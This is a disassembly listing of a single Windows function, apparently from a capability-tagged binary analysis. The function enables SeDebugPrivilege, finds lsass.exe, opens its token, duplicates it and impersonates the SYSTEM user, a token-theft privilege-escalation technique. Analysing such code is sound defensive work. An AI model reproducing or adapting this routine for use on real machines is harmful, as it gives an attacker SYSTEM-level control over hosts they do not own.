Function at 0x180002270
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push rbp
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x18001e008]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000245b
lea r8, [rbp + 0x1a4]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rbp + 0x1a0]
xor eax, eax
mov dword [rbp + 0x1a0], 1
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rbp + 0x1ac], 2
mov qword [rsp + 0x20], rax
lea r9d, [rax + 0x10]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x18000247e
mov qword [rsp + 0x2d0], rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800024a7
xor edx, edx
mov dword [rsp + 0x60], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x64]
call fcn.180004e30
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800024ca
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.lsass.exe
lea rcx, [rbp - 0x74]
call fcn.1800087dc
test eax, eax
je 0x18000239c
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1800024fa
jmp 0x180002370
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x400
mov qword [rsp + 0x2d8], rdi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x180002526
lea r8, [rsp + 0x30]
mov qword [0x18001ff08], rdi
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180002549
mov rcx, qword [rsp + 0x30]
lea r8, [rbp + 0x1a0]
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x18000256c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1a0]
mov qword [0x18001ff10], rcx
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
je 0x180002595
mov rdi, qword [rsp + 0x2d8]
mov rbx, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.1800037d0
add rsp, 0x2c0
pop rbp
ret
lea rdx, str.Failed_to_open_process_token.
lea rcx, [rsp + 0x40]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x40]
call fcn.180004b58
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Failed_to_adjust_token_privileges.
lea rcx, [rsp + 0x40]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x40]
call fcn.180004b58
int3
lea rdx, str.Failed_to_create_process_snapshot.
lea rcx, [rsp + 0x40]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x40]
call fcn.180004b58
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Failed_to_retrieve_processes.
lea rcx, [rbp + 0x1a0]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rbp + 0x1a0]
call fcn.180004b58
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.LSASS_process_not_found.
lea rcx, [rsp + 0x30]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x30]
call fcn.180004b58
int3
lea rdx, str.Failed_to_open_LSASS_process.
lea rcx, [rsp + 0x50]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x50]
call fcn.180004b58
int3
lea rdx, str.Failed_to_open_LSASS_process_token.
lea rcx, [rsp + 0x50]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x50]
call fcn.180004b58
int3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Failed_to_duplicate_system_token.
lea rcx, [rsp + 0x40]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x40]
call fcn.180004b58
int3
lea rdx, str.Failed_to_impersonate_system_user.
lea rcx, [rsp + 0x50]
call fcn.180001180
lea rdx, [0x18001cdb8]
lea rcx, [rsp + 0x50]
call fcn.180004b58
int3